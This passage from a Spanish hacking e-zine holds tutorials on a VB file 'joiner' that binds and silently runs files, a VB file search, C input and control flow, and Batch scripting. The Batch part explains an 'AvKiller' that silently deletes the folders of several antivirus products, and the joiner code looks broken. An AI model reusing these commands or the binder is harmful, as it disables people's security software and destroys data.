separados por la marca |M1|. Luego agregamos a la
variable Todo la variable Datos separando lo que
haba antes y lo que agregamos nuevo por una marca:
|M2|.
As que cuando ya se hallan terminado los archivo, nos
quedara todo en la variable Todo, y solo nos resta
agregrselo al Stub.
Ahora debemos ubicar el Stub, por lo general se
encuentra en el mismo directorio que el joiner pero con
extensin .dll, todo depende del programador. Yo lo
har como si el Stub se ubicara en el mismo directorio
que el joiner, con el nombre Stub y la extensin
.exe As que lo buscamos y lo copiamos a otro
directorio.

Filecopy App.Path & \ & App.EXEName & .exe,
Text1.Text

Bueno, como ven he puesto como destino Text1.Text
esto es porque yo puse un TextBox donde el usuario
indica donde quiere que se cree el archivo final. Ahora
debemos abrir el Stub y aadirle lo que tenemos en la
variable Todo

Open Text1.Text For Binary Access Write As #2
Seek #1, EOF(1)
Put #1, , Todo
Close #1

Bien, lo que hacemos aqu es abrir el Stub (su copia) de
modo binaria para escritura. Usamos Seek para
situarnos al final del archivo (EOF(1)) con eof
indicamos que queremos el final del archivo, y el 1
representa al archivo
Luego usamos Put para poner lo que haba en la
variable Todo y por ultimo cerramos con Close

As el resultado final de esto es un fichero que seria
algo as:

STUB
|M2|
NOMBRE ---> FICHERO 1
|M1|
CONTENIDO --->FICHERO 1
|M2|
NOMBRE --->FICHERO 2
|M1|
CONTENIDO -->FICHERO 2

Luego cuando este fichero es ejecutado, lo primero que
se ejecuta es el Stub, que divide el archivo en tantas
partes como archivos de hallan unido:

STUB

NOMBRE-->FICHERO 1
|M1|
CONTENIDO-->FICHERO 1

NOMBRE -->FICHERO 2
|M1|
CONTENIDO--->FICHERO 2

Despus se procede a crear un archivo que
corresponder a los datos obtenidos luego de separar
por la marca |M1| y se ejecutaran dichos archivos
Les dir algunas cosas que pueden agregarle, primero
un lugar donde copiar los archivos, esto suele ponerse
SIEMPRE. Le da la posibilidad al usuario de poder
copiar los archivos en el directorio que el quiera.
Tambin el poder ejecutar, pero no copiar los archivos.
La opcin de cambiarle el icono al fichero final suele ser
muy til tambin.
Les dejo un cordial saludo y espero que les halla
gustado.

Crear un buscador de archivos en VB CUH e-zine 4 edicion




Este es un artculo creado exclusivamente para el CUH
E-Zine y se encuentra bajo licencia Creative Commons
(http://creativecommons.org/licenses/by/3.0).



En el presente artculo me dedicar a explicarles como
crear un buscador de archivos. La idea es que la
aplicacin busque un fichero que contenga en su
nombre la cadena que el usuario este buscando. La
bsqueda del fichero partir de un directorio elegido
por el usuario.
El proyecto necesitara de algunos controles para que el
usuario pueda interactuar con l. Por mi parte yo he
agregado los siguientes controles (todos con sus
nombres por defecto):

3 CommandButtons
2 TextBoxs
2 Frames
1 ListBox

La aplicacin en mi caso carece de diseo, y no le
aplicare ninguno, el aspecto correr por cuenta de
ustedes. En mi caso, los archivos encontrados solo se
listaran en un ListBox simple. El aspecto de mi proyecto
es el siguiente:



Bueno, acomoden los controles como ms les guste.

Por mi parte le he dado a la propiedad Enabled del
botn Abrir un valor False. Y al Text2, ubicado en el
frame con caption Comenzar en: tiene en su
propiedad Locked el valor True.
Vamos a empezar programando desde el principio, y
comenzaremos por un dialogo en el cual el usuario
elegir el directorio donde comenzar a buscar. Para ello
usaremos las APIs: SHBrowseForFolder y
SHGetPathFromIDList.
Las declararemos en la parte superior del formulario de
la siguiente manera:

Private Type BrowseInfo
hWndOwner As Long
pidlRoot As Long
sDisplayName As String
sTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Private Declare Function SHBrowseForFolder Lib
"Shell32.dll" (bBrowse As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib
"Shell32.dll" (ByVal lItem As Long, ByVal sDir As
String) As Long

La primer API devolver un identificador que
corresponder al directorio que eligi el usuario, debido
a que con el identificador no podramos hacer nada,
utilizamos la segunda API para obtener el directorio.
Para poder hacer uso de estas APIs vamos a tener que
crear una funcin, lo que har esta funcin ser
devolver la ruta completa del directorio que eligi el
usuario. A esta habr que pasarle como parmetro el
formulario (su nombre) para luego obtener su handle,
tambin le debemos pasar el titulo de la ventana:

Function ElegirDirectorio(FrmActivo As Form,
TituloDeVentana As String) As String
Dim BroInf As BrowseInfo
Dim IDCarp As Long
Dim Directorio As String

BroInf.hWndOwner = FrmActivo.hWnd
BroInf.pidlRoot = 0
BroInf.sDisplayName = Space(260)
BroInf.sTitle = TituloDeVentana
BroInf.ulFlags = 1
BroInf.lpfn = 0
BroInf.lParam = 0
BroInf.iImage = 0

IDCarp = SHBrowseForFolder(BroInf)

If IDCarp Then
Directorio = Space(300)
If SHGetPathFromIDList(IDCarp, Directorio) Then
Directorio = Left(Directorio, InStr(Directorio,
Chr(0)) - 1)
Else
Crear un buscador de archivos en VB CUH e-zine 4 edicion

Directorio = ""
End If
End If
ElegirDirectorio = Directorio
End Function

Ahora lo que haremos ser almacenar el directorio en
una variable global. As que hacemos la declaracin de
dicha variable. Nos situamos debajo de la declaracin
de las APIs y escribimos esto:

Dim RutaParaComenzar As String

Ahora nos vamos al evento clic del botn 2, en mi caso
es el de elegir directorio para comenzar a buscar:

Private Sub Command2_Click()
RutaParaComenzar = ElegirDirectorio(Form1, "Buscar
Carpeta")
Text2.Text = RutaParaComenzar
End Sub

Y ah esta. Ahora podemos pasar a lo que importa,
buscar el archivo. Vamos a necesitar usar el objeto
FileSystemObject, para ello vamos a agregarlo en la
referencia:
ProyectoReferenciasMicrosoft Scripting Runtime
Para poder recorrer los directorios debemos usar una
funcin que se llame a si misma, a esta funcin se le
pasa como parmetro el directorio donde empezar a
recorrer los subdirectorios de l mismo. Dentro de cada
bucle para recorrer los subdirectorios se vuelve a
llamar a la funcin pasndole como parmetro el
subdirectorio. Seria algo as:

Private Funcion Buscar(Carpeta As String)
For each SubCarpetas In Carpeta
Call Buscar(SubCarpeta)
Next
End Fucntion

Esto es un ejemplo, pero no sirve, primero debemos
declarar bien las variables, con su tipo correspondiente
(Folder y File). Despus creamos un bucle que recorra
los subdirectorios de un directorio. Dentro de este bucle
se utilizara otro bucle para recorrer todos los archivos
dentro de este subdirectorio en el cual nos
encontramos. Utilizaremos (dentro de este ltimo
bucle) una condicin If para saber si el archivo actual
corresponde o es similar al que busca el usuario.
Pondr la funcin ya terminada, estar comentada cada
lnea con su respectiva explicacin:

Private Sub Buscar(ByVal Carpeta As String)
Dim DirActual As Folder 'Declaramos como Carpeta
Dim SubDir As Folder 'Declaramos como Carpeta
Dim Archivo As File 'Delcaramos como Archivo
Set Fso = New FileSystemObject 'Activamos el objeto
FSO
Set DirActual = Fso.GetFolder(Carpeta) 'Le Aplicamos
un directorio
'Bucle que recorre los subDirectorios de un directorio
For Each SubDir In DirActual.SubFolders
'Bucle que recorre los archivos de un directorio
For Each Archivo In SubDir.Files
'Un descanso para el sistema
DoEvents
'Obtenemos el nombre del archivo
NombreDelArchivo = Fso.GetFileName(Archivo)
'Si coincide con la busqueda
If InStr(NombreDelArchivo, Text1.Text) <> 0
Then
'Lo agregamos a la lista
List1.AddItem NombreDelArchivo
Habilitamos boton Abrir
Command3.Enabled = True
End If
'Seguimos recorriendo archivos
Next
'Nos volvemos a llamar para seguir listando
'los subdirectorios
Call Buscar(SubDir)
Next
End Sub

NOTA: Es importante que pongan el DoEvents, sino
tildaran la aplicacin, deben darle un descanso y
pasarle el trabajo a Windows por cada subdirectorio
que se recorra, as funcionara perfecto.
Ahora vamos a programar el botn Buscar, en mi
caso es el Commnad1 Lo nico que haremos aqu ser
verificar que halla algo que buscar (que el Text1 no
este vaco). Luego limpiamos la Lista, y por ultimo
llamamos a la funcin Buscar pasndole como
parmetro la variable RutaParaComenzar:

Private Sub Command1_Click()
si el text1 esta vacio
If Text1.Text = "" Then
Mostramos un mensaje
MsgBox "Indique algo que buscar"
Exit Sub
End If
Limpiamos la lista
List1.Clear
Llamamos a funcion que busca
Call Buscar(RutaParaComenzar)
End Sub

Con esto ya habremos terminado, les recomiendo que
no se queden con esta interface, utilicen un ListVew en
vez de un ListBox, es mas lindo de usar, y podemos
ordenar mejor los archivos encontrados, mostrando
tanto el nombre del fichero como su directorio.
Inclusive le podemos aplicar un icono ;-)
Les dejo un cordial saludo a todos los lectores de la
CUH E-Zine y espero hayan disfrutado de este articulo.

Introduccion a C 3Parte CUH e-zine 4 edicin





Hola de nuevo, esta es la tercera parte del tutorial de C
de Ni0, como pueden ver con lo que sabemos hasta
ahora mucho no podemos hacer, simplemente cuentas
matemticas y mostrarlas en pantalla, as que ahora
vamos a aprender como obtener un valor del teclado y
como funcionan los controladores de flujo.
Antes que nada quera aclarar algo con respecto a las
variables..., cual es la diferencia entre el tipo char y el
tipo long? o cual es la diferencia entre el tipo short y el
char? o el long y el int?? la nica diferencia es el
espacio reservado a dicha variable. En el articulo
anterior escrib una tabla con los tipo de variables y
cuantos bytes son reservados para esa variable, esa
cantidad le da un rango posible, por ejemplo dentro de
un byte solo pueden entrar desde el numero 0 hasta el
255 (o bien de -128 a 127), esa es la nica diferencia.
Entonces, dentro de char puedo poner un numero en
vez de un carcter?? y en un long puedo poner un
carcter en vez de un numero?? SI y lo repito, SI
Esto segn he visto, en lenguajes mas altos que el C
(Visual Basic, pascal, etc..) no es posible de manera
directa, pero es posible en el lenguaje maquina, en C, y
supongo que en otros lenguajes.
como es posible que en una variable char (abreviatura
de carcter en ingles) se pueda poner un numero??
porque a cada carcter se le asign un numero
(recuerden, la pc solo interpreta 0 y 1), y estos
nmeros van del 0 al 255 (antiguamente hasta el 127),
esto esta definido en el estndar ascii. Al poner un
carcter haciendo 'x', el compilador cambia ese
carcter por el valor correspondiente, por lo que hacer
algo como c = 'N'; es lo mismo que c = 78; .
No piensen de que como es un CHAR solamente pueden
ir caracteres, bah, en realidad es correcto, porque
cualquier numero que pongamos entre 0 y 255 va a
tener su representacin como carcter, pero uno puede
tranquilamente usar una variable char para trabajar
nmeros, si por ejemplo queremos almacenar la edad
de una persona, con declarar un char alcanza y sobra,
nadie tubo mas de 255 aos xD . Y obviamente dentro
de un long o un short o un int puede ir un carcter,
hacen short s = 'N'; y esta permitido, pero con esto
hay que tener cuidado, porque en realidad las funciones
estan preparadas para leer un carcter dentro de un
byte, en un short hay 2 bytes, y en uno de esos 2 bytes
esta el 'N'...
y obviamente se pueden sumar caracteres, char a =
'n'; char b = 'a'; a = a + b; ahora a tiene el valor 207,
pero con esto cuidado, no podemos pasarnos del 255,
pero bueh, con eso queda demostrado que tambin se
puede operar con tipos char, solo que tenemos que
asegurarnos de que la operacin no va a dar mas de

255, porque se estara sobre escribiendo bits de otro
lugar que no le corresponde a la variable char, por
ejemplo si quisiramos poner el valor 256 dentro de un
byte no podramos, porque queda un 1 fuera de lugar
(11111111 = 255, 100000000 = 256, fjense que en el
256 estamos usando 9 bits, y no un byte, donde se
pondr ese 1?).Pero OJO, si hacen '1' + '2' no les va a
dar '3'... 1 + 2 = 3 pero '1' + '2' NO es 3, porque
estamos sumando el valor segn el estndar ascii, si '1'
es 50 (ni idea si es 50, invento, es solo un ejemplo) y
'2' es 51, entonces '1' + '2' da 101, que puede ser 'f'
como 'a' o 'Z' o cualquier carcter....
Todo eso se puede comprobar tranquilamente si crean
un programa que trabaje con caracteres y nmeros y
variables de todo tipo y lo compilan, luego lo
descompilan y ven el cdigo en assembler, o bien usan
un debugger para que sea mas facil de leer, de todas
maneras va a estar en assembler.
No habl sobre los tipos float y double, no estoy seguro
de su forma de trabajar, asique no los voy a meter en
la explicacin anterior.

bueh, espero que eso haya sido claro.

Avancemos un poco con el lenguaje C; para obtener un
dato del teclado (por ahora del teclado, mas adelante
vamos a ver archivos) existen varias funciones
declaradas en stdio.h:
getchar (que ya la usamos para que espere que se
pulse una tecla)
scanf
gets (que no la vamos a ver ahora porque antes tengo
que explicar otras cosas xD)
explicamos cada una:
int getchar(void); eso significa que no recibe ningn
argumento y que retorna un int (tambin pueden usar
char), esta funcin espera a que se pulse enter para
retornar, o sea, cuando es llamada uno puede teclear
cualquier cosa y solo va a terminar la funcin cuando
se pulse enter ('\r', ese es el carcter correspondiente a
ENTER), si se pulsaron las teclas abcd\r, va a devolver
a, pero cuidado, porque las teclas siguen almacenadas,
la funcin obtiene a, la saca de la memoria y devuelve
a, la prxima ves que se llame, van a estar las teclas
bcd\r, por lo que no va a esperar a que el usuario
ingrese algo porque hay teclas en la memoria, no se si
se entiende bien... cuando uno pulsa teclas se
almacenan en un buffer, getchar va obteniendo hasta
que se acabe, si simplemente ingresamos a\r obtiene a
y como esta el enter vaca el buffer, pero si ponemos
abc\r obtiene a, saca a del buffer pero sigue quedando
bc\r, como ya esta \r en el buffer, no le pide nada al
usuario, porque piensa que ya se presiono entrer,
obtiene b y saca a b del buffer. Para solucionar esto,
esta la funcin fflush que vacia el buffer, solo hay que
indicarle que buffer vaciar, stdin (entrada) o stdout
(salida), quedando asi: fflush(stdin); (vaca la entrada)

Introduccion a C 3Parte CUH e-zine 4 edicin

int scanf (const char*, ...); esta funcin es especial, es
como printf, puede obtener muuuuchos argumentos, y
devuelve un int, que creo recordar que era la cantidad
de caracteres ledos, y los argumentos son una cadena
y luego argumentos infinitos (digo entre comillas
porque la ram no se regala, igual que los permisos de
escritura del s.o. xD), para usarla es fcil, usa las
mimas caractersticas de printf, solo que invertido,
miren:

printf(%d %f, 39, 3.141596);

obtiene una cadena (%d %f) y los argumentos, que
luego sern impresos segn los comodines (%d, %f,
%s, %c, etc..), ahora con scanf:

scanf(%d %f, &i, &f);

lo que va a hacer es esperar a que ingresemos
caracteres hasta que se pulse enter, cuando se pulsa
enter va a seguir las indicaciones de la cadena %d
%f, lo que significa que hasta el primer espacio va a
obtener un numero entero, luego un flotante (o sea, un
numero real) y luego nada mas, y va a poner esos
valores en las variables i y en la variable f, que deben
de haber sido declaradas previamente como int y como
float (o double) ejemplo


main(){
int i;
float f;
scanf(%d %f, &i, &f);
}

Los & no se como llamarlos, pero significan la posicin
de memoria de..., o sea, si nosotros hicisemos:
scanf(%d %f, i, f); al segundo y tercer argumento le
estara llegando el valor que contiene i y el valor que
contiene f, pero no cual es la posicin de memoria de i
y de f, para que usa la posicin de memoria?? para
saber donde guardar lo que obtenga el teclado.
cuando hacemos algo como c = getchar(); no usamos
el & porque el compilador ya sabe que lo que devuelve
getchar tiene que ir a parar a c, dado que antes del =
tiene que ir una variable donde va a poner el valor,
pero en el caso de un argumento puede o no ser el
valor que contenga la variable, o bien, una posicin de
memoria. En lenguajes mas altos esto no se hace, se
hacen cosas como scanf(%d, i); pero en el c hay que
aclarar que lo que vamos a darle de argumento es el
valor que contiene la variable o bien la posicin de
memoria asignada a la variable
En el caso de %s tenemos que estudiar un poco mas,
asique no lo vamos a usar por ahora...
en este caso tambin hay que tener cuidado y usar a
veces el fflush, porque cosas como:

scanf(%c, &c);
scanf(%c, &c);

obtienen un carcter pero ustedes con el teclado
ingresaron por ejemplo a\r (osea a y enter), pero como
solo pedimos un carcter, el \r queda colgado, queda
en el buffer, asique con fflush(stdin); vaciamos el
buffer.

El gets obtiene una cadena (seria CASI igual a
scanf(%s)), pero todava no hable sobre las cadenas,
los vectores, los arrays (como usarlos en una variable)
asique no lo quiero explicar para que no haya dudas...

Las cosas como int getchar(void) es la forma que se
declaran las variables (mas adelante vamos a ver cono
crear nuestras funciones), el primero (o sea en este
caso el int) indica que tipo de dato va a retornar, lo que
va entre parntesis indica que tipo de argumentos
espera, en caso de que sea void significa que no espera
nada, y se separan los argumentos con comas, que
seria el ejemplo de int scanf(const char*, ...), el primer
argumento es un const char* (es una cadena que va a
ser tomada como constante, mas adelante vemos que
son las cadenas y como usarlas etc.) una coma para
indicar que viene otro argumento y tres puntos, esos
... significa que pueden ir muuuchos argumentos,
hasta que la memoria se acabe o bien que se intente
usar una posicin de la memoria que el s.o no nos deja,
porque ocurre esto?? Porque los argumentos son
puestos en la memoria uno al lado del otro (esto se
tendra que ver mas que nada en assembler...) si hay
muuuchos argumentos se va a gastar mucha
memoria... pero para eso se necesita MUUUUUUCHOS
argumentos
Muy bien, vamos a hacer algn programita, podemos
hacer uno que se ingrese un valor de temperatura en
Celsius o Fahrenheit y se pase a la otra medida, por
ejemplo yo voy a hacer de Celsius a Fahrenheit
la formula de Celsius a Fahrenheit es: F = C*(9/5)+32

Asi que vamos a programar:

#include <stdio.h>



main()

{

float c, f;

printf("\tConversin Celsius a Fahrenheit\n");

printf("ingrese la temperatura en celsius: ");

scanf("%f", &c);/*pone el valor que se ingreso
por el teclado en c*/

f = c * (9.0 / 5.0) + 32;

printf("\n%.3fC = %.3fF\n", c, f);/*imprime
el resultado, el .3 indica que solo imprima 3
decimales*/

getchar();/*espera que se pulse enter*/

}

Introduccion a C 3Parte CUH e-zine 4 edicin


Creo que esta sencillo el programa, aclaro algo, tengo
que hacer 9.0/5.0 y NO 9/5 porque 9/5 dara 1, porque
hace una divisin entre enteros, al ponerle .0 le indico
que son nmeros reales y quiero el resultado en real
(cosas de los registros internos del cpu).

As como tenemos getchar y gets, tambin estn las
funciones putchar y puts, es lo mismo pero inverso, en
puts ponemos una cadena (por ahora solo van a poder
poner cadenas de este estilo y no almacenadas en
una variable) y putchar que pone un carcter:

#include <stdio.h>
main()
{
putchar('H');
puts(ola\n);
getchar();
}

Imprime Hola en pantalla

Bien, ahora vamos a hacer 2 programas, siguiendo con
la conversin celsius- Fahrenheit, el primero va a
preguntar si queremos hacer celsius- Fahrenheit o
Fahrenheit- celsius, y el segundo nos muestra una tabla
de equivalencia. Para esto necesitamos saber sobre
estructuras de flujo (creo que se llamaban as,
disclpenme que no sepa a veces exactamente el
nombre de algo del lenguaje), estas son estructuras
que cambian el flujo del programa, las que vamos a ver
ahora son if, if-else y while.
El if se usa algo as: if(decisin){que hacemos si es
verdadero}, dentro de los () podemos poner un valor
solo (por ejemplo if(variable) o if(1) o if(0)) si es 1 es
tomado como verdadero, y se ejecuta lo que esta entre
{}, o sino podemos poner una comparacin (es igual a,
mayor que, menor que, etc.), estas son:
== igual que (fjense que son 2 iguales)
!= distinto que
< menor que
> mayor que
<= menor o igual que
>= mayor igual que

Por ejemplo:

if(1 != 2){} /*si 1 es distinto que 2, obviamente va a
dar verdadero y se ejecuta lo que esta entre {}*/

c = 3;
a = 15;
if(c > a){} /*si c es mayor que a, en este caso va a dar
falso y NO se ejecuta lo que esta entre {}*/

Tambin se pueden hacer cosas como

if(c * 5 < a){}/*en este caso tambien daria falso
porque es igual a a*/

Dentro de los {} se escribe un cdigo igual que si
estuviese dentro de un main, pero NO se pueden
declarar variables, las variables solo se declaran justo
despus de main(){ o afuera de todo, esto es as en C,
pero en C++ SI es posible, pero ac yo explico C xD

Ejemplo:

main()
{
int a = 10;
int b = 10;
if(a == b)
printf(es igual);
}

cuando solamente se va a poner una instruccin (osea,
un ;, ya se auna funcion o una operacin matematica,
no hace falta poner {}
una forma mejorada:
main()
{
int a = 10;
int b = 10;
if(a == b){
printf(es igual);
return 0;
}
printf(diferente);
}

El return termina una funcin (no me acuerdo si ya lo
explique) o sea, cuando llega al return termina la
funcin main (o cuando creemos nuestras propias
funciones la funcin en la que este el return) siempre
main tiene que retornar un valor, por eso el 0, se
puede usar return; que no retornara ningun valor, pero
main siempre devuelve algo.
si no usramos el return, veramos algo como
es igual diferente
los if son de un solo ciclo, o sea, comprueba si es
verdadero o falso, si es verdadero ejecuta los {} y
sigue con el programa, si es falso se saltea los {} y
sigue con el programa
el if-else es igual que el if, se usan asi:

if(a == b){
printf(igual);
}
else{
printf(diferente);
}

si el if es falso, ejecuta el else y sigue con el programa,
con este caso nos ahorramos el return
y si solo usamos una instruccin no hace falta los {}:

if(a == b)
printf(igual);
else
printf(diferente);
y obiamente se pueden hacer ifs dentro de ifs, o sea:
if(a == b){
if(a < 10)
printf(igual y menor que diez);
}
else
Introduccion a C 3Parte CUH e-zine 4 edicin

printf(diferente);

pero, en este caso se pueden usar && o ||, estas
cosas son traducibles a y o o, por ejemplo:

if(a == b && a < 10)
printf(igual y menor que diez);

o sea, tiene que ser las 2 expresiones verdaderas, si
usramos los || (es el carcter tubera dos veces) con
que solo una expresin sea verdadera se ejecuta los {}

y a su vez tenemos los if-else if-else

if(a == 10)
printf(igual);
else if(a < 10)
printf(menor);
else
printf(mayor);

creo que queda claro como funciona, a su vez se
pueden hacer muchos else if:

if(a == 10)
printf(igual);
else if(a < 10)
printf(menor);
else if(a > 10)
printf(mayor);
else
printf(error xD);

Y en el caso de que sean mas de una instruccin
ponemos {} y listo

El while es igual que el if, solo que no existen los else ni
los else while, y que si es verdadero, ejecuta lo de los
corchetes y vuelve a hacer la comprobacin, asi hasta
que la comprobacin sea falsa

int c = 10;
while(c > 0){
printf(%d\n, c);
c -= 5;;
}

Imprime:
10
5

As que vamos con los programas que dije que bamos
a hacer:

#include <stdio.h>

main()

{

char opcion;

float f, c;

printf("\tConversion Celsius a Fahrenheit -
Fahrenheit a Celsius\n");

printf("Ingrese el valor a convertir: ");

scanf("%f", &c);/*para no usar 2 veces el
scanf, si lo pongo dentro del if y del else if gastara mas
lineas y mas cdigo binario que si lo uso solo una vez
:P*/

printf("ingrese c para Celsius a Fahrenheit o f
para Fahrenheit a Celsius (c/f):");

fflush(stdin);/*vaciamos el buffer*/

opcion = getchar();

if(opcion == 'c'){

f = c * (9.0 / 5.0) + 32;

printf("\n%.3fC = %.3fF\n", c, f);

}

else if(opcion == 'f'){

f = (c - 32) / (9.0 / 5.0);

printf("\n%.3fF = %.3fC\n", c, f);

}

else

printf("ERROR");

fflush(stdin);/*vaciamos el buffer, porque
nosotros ingresamos c\r o f\r por lo que quedara el \r
en el buffer*/

getchar();

}

Este cdigo se puede mejorar hacindolo:

#include <stdio.h>

main()

{

char opcion = 0;

float f, c;

printf("\tConversion Celsius a Fahrenheit -
Fahrenheit a Celsius\n");

printf("Ingrese el valor a convertir: ");

scanf("%f", &c);/*para no usar 2 veces el
scanf, si lo pongo dentro del if y del else if gastara mas
Introduccion a C 3Parte CUH e-zine 4 edicin

lineas y mas codigo binario que si lo uso solo una vez
:P*/

printf("ingrese c para Celsius a Fahrenheit o f
para Fahrenheit a Celsius (c/f):");

fflush(stdin);
while(opcion != 'c' && opcion != 'f')
{/*mientras que no sea ni
'c' ni 'f' va a pedir una opcin (es sensible a maysculas
y minsculas)*/
opcion = getchar();


}
if(opcion == 'c'){

f = c * (9.0 / 5.0) + 32;

printf("\n%.3fC = %.3fF\n", c, f);

}

else if(opcion == 'f'){

f = (c - 32) / (9.0 / 5.0);

printf("\n%.3fF = %.3fC\n", c, f);

}
/*el else no es necesario, no es obligatorio*/
fflush(stdin);/*vaciamos el buffer, porque
nosotros ingresamos c\r o f\r por lo que quedara el \r
en el buffer*/

getchar();

}
y ahora uno que muestra una tabla de valores en
Celsius y otro en farenheit:
#include <stdio.h>

main()

{

float f, c = -50;

printf("\tConversion Celsius a Fahrenheit\n");

printf("\nCelsius \tFahrenheit\n");

while(c < 151){

f = c * (9.0/5.0) + 32;

printf("%3.4fC\t%3.4fF\n", c, f);

c += 1;

}

getchar();

}

Intenten hacer este ultimo programa pero que el
usuario indique el valor mnimo, el mximo y la escala
(en este caso el mnimo es -50, el mximo es 150 y la
escala es 1)
Simplemente declaran mas variables y con scanf le
asignan a las variable los valores, y en vez de usar
nmeros en el while, usan las variables...

Y ahora, vean este programa

#include <stdio.h>

main()

{

int c = 0;/*uso int porque si usara char la
comparacion c != 256 estaria incorrecta, porque 256
esta fuera del byte*/

while(c != 256){

printf("%c - %d\n", c, c);

c += 1;

}

getchar();

}

Esto es para que vean los valores de cada caracter,
porque dentro de un char hay un valor, que representa
al caracter... si vieran el cdigo ya compilado quiz se
entendera mas

Una aclaracin, eh visto que el fflush(stdin); en la
distribucin de linux ubuntu no funciona, o sea, no
vaca el buffer, pero en windows si...

bueno, eso es todo por ahora... nos vemos en la
prxima edicin xD

Ni0

P.D. usen Linux xD

Introduccin al Batch 3a Parte CUH e-zine 4 edicin




Viene de la 2 Edicion

AvKiller Explicacion.

cd %programfiles%
Con la variable %programfiles% vamos a la ruta
C:\Archivos de Programa o a la ruta en donde estn lo
archivos de programas.
cd Grisoft
La carpeta en donde esta el AVG Free Antivirus (luego
con el comando DEL borramos todo).
del /Q /F /S *.*>nul
Para borrar todos los archivos sin pedir confirmacin, ni
Mostar los archivos que se han borrado.
cd ..
Para subir de directorio (ir a la carpeta Archivos de
Programa).
cd Norton Antivirus
La carpeta en donde esta el Norton Antivirus (luego con
el comando DEL borramos todo).
cd Kapersky Lab
La carpeta en donde esta el Kapersky Antivirus (luego
con el comando DEL borramos todo).
cd McAfee.com
La carpeta en donde esta el MC Afee System Works
(luego con el comando DEL borramos todo).
cd Nod32 Antivirus System
La carpeta en donde esta el NOD32 Antivirus (luego
con el comando DEL borramos todo).
Programando utilidades
Aqu aprenderemos a crear calculadoras, organizadores
y el uso de los comandos.
Una Calculadora en Batch
Ahora crearemos una calculadora en Batch (con men)
bsicamente usando como principal comando



el SET. Solo tendr las opciones de sumar, restar,
multiplicar y dividir.
Codigo:
@echo off
title= Calculadora Batch
color 0a

:menu
cls
echo CALCULADORA
echo (1) SUMA
echo (2) RESTA
echo (3) MULTIPLICACION
echo (4) DIVISION
echo.
echo (0) SALIR
echo.
set/p opc=
if %opc%==1 goto suma
if %opc%==2 goto resta
if %opc%==3 goto multi
if %opc%==4 goto divi
if %opc%==0 goto exit
else (goto menu)

:suma
cls
echo.
echo Ingrese el primer numero.
set/p suma1= Numero:
cls
echo.
echo Ingrese el segundo numero.
set/p suma2= Numero:
cls
set/a suma=%suma1%+%suma2%
echo.
echo.
echo %suma1%+%suma2%=%suma%
pause>nul
goto menu

:resta
cls
echo.
echo Ingrese el primer numero.
set/p resta1= Numero:
cls
echo.
echo Ingrese el segundo numero.
set/p resta2= Numero:
cls
set/a resta=%resta1%-%resta2%
echo.
echo.
echo %resta1%-%resta2%=%resta%
pause>nul
goto menu

:multi
cls
echo.
echo Ingrese el primer numero.
set/p multi1= Numero:
cls
echo.
echo Ingrese el segundo numero.
set/p multi2= Numero:
cls
set/a multi=%multi1%*%multi2%
echo.
echo.
echo %multi1%x%multi2%=%multi%
pause>nul
Introduccin al Batch 3a Parte CUH e-zine 4 edicin

goto menu

:divi
cls
echo.
echo Ingrese el primer numero.
set/p divi1= Numero:
cls
echo.
echo Ingrese el segundo numero.
set/p divi2= Numero:
cls
set/a divi=%divi1%/%divi2%
echo.
echo.
echo %divi1%/%divi2%=%divi%
pause>nul
goto menu

:exit
exit

Explicacin:

title= Calculadora Batch *
Esto sirve para cambiar el titulo de la ventana, luego del
signo = podemos ponerle el nombre que queramos, si no
utilizaremos el comando title aparecera como titulo la
ruta en la que esta guardada el Batch.
*NOTA: El comando Title puede ser usado de las
siguientes maneras:
Title= Ejemplo
Title Ejemplo
Title Ejemplo

color 0a
Se usa para cambiar los colores del Batch, los
predeterminados son letra blanca y fondo negro pero con
este lo dejamos en letra verde y fondo negro, para ver
ms colores escribir en la consola: Color/?
cls
Con esto cada vez que vulvalos al men se borrara toda
la pantalla y quedara solo el men, si este comando
quedaran las operaciones anteriores en pantalla.
echo CALCULADORA
El comando echo sin parmetros ( y con un texto) sirve
para mostrar textos en la pantalla, y con esto aparecera
como texto CALCULADORA y luego el resto de las
opciones.
set/p opc=
Con esto creamos una variable de entorno que la
utilizaremos para definir la opcin que se a elegido, la
variable en este caso se llamara opc pero podemos
ponerle el nombre que queramos y cambiar tambin la
variable definida en el comando if sino no funcionaria.
if %opc%==1 goto suma
if %opc%==2 goto resta
Estos comandos sirven para darle las opciones al usuario
por ejemplo si el usuario pone 1 y presiona enter ir al
men de la suma que esta definido con :suma. Y as con
los otros tambin, podemos cambiar el nmero 1 por el 7
y as para sumar habra que presionar 7.
El opc es nombre de la variable en donde se almaceno el
nmero de la opcin.
else (goto menu)
Con esto le damos la orden al comando IF que si se
ingresa una opcin no valida vuelva al men (el comando
else tiene que ir siempre despus del if).
echo Ingrese el primer numero.
set/p resta1= Numero:
Con el comando echo aparecer el mensaje pidiendo el
numero y com el set/p crearemos la variable llamada
resta1 que tendr el numero a restar, y luego la
utilizaremos colocando %resta1% para que ponga el
numero que estaba en la variable. Lo mismo con la
segunda parte que pedir el segundo nmero a restar.
cls
Para que al aparecer la segunda pantalla no quede la
anterior.
set/a resta=%resta1%-%resta2%
Set/a en este caso lo usaremos para que calcule la
operacin y almacene el resultado en la variable resta;
%resta1% y %resta2% los pondremos para que
aparezca los nmeros que quedaron en las variables
Resta1 y Resta1. Y el signo de - (menos) ser para
indicar que calcule una resta (se puede sustituir por un +
para que sume, un * para que multiplique o un / para
que divida).
echo.
Muestra un espacio entre las lneas.
echo %resta1%-%resta2%=%resta%
Aqu mostraremos la operacin planteada y usaremos
%resta1% para que muestre el primer nmero y
%resta2% para que muestre el segundo, y con
%resta% aparecer el resultado que fue calculado con el
comando set/a y almacenado en la variable resta.
pause>nul
Paramos la ejecucin de los comandos hasta que se
presione una tecla, sino pasara tan rpido que no se vera
el resultado.
goto menu
Luego de que termine el comando pause con esto
volvemos al men principal.
Lo mismo que esta explicado ac se usa en los casos de
suma, multiplicacin y divisin pero siempre respetando
los signos (+, -, *, /).
Organizando Funciones
Vamos a crear un organizador para los accesorios de
Windows, si todos no funcionan hay que tener en cuenta
que puedes no tener instalados todos.

Cdigo:
@echo off
Title= Organizador Batch 1.0
Color F3

:menu
cls
echo ORGANIZADOR
echo.
Echo 1) Abrir bloc de Notas
Echo 2) Abrir Word Pad
Echo 3) Abrir Calculadora
Echo 4) Abrir Libreta de Direcciones
Echo.
Echo 0) Salir
Set/p resp=
If %resp%==1 goto bloc
Introduccin al Batch 3a Parte CUH e-zine 4 edicin

If %resp%==2 goto word
If %resp%==3 goto calc
If %resp%==4 goto dir
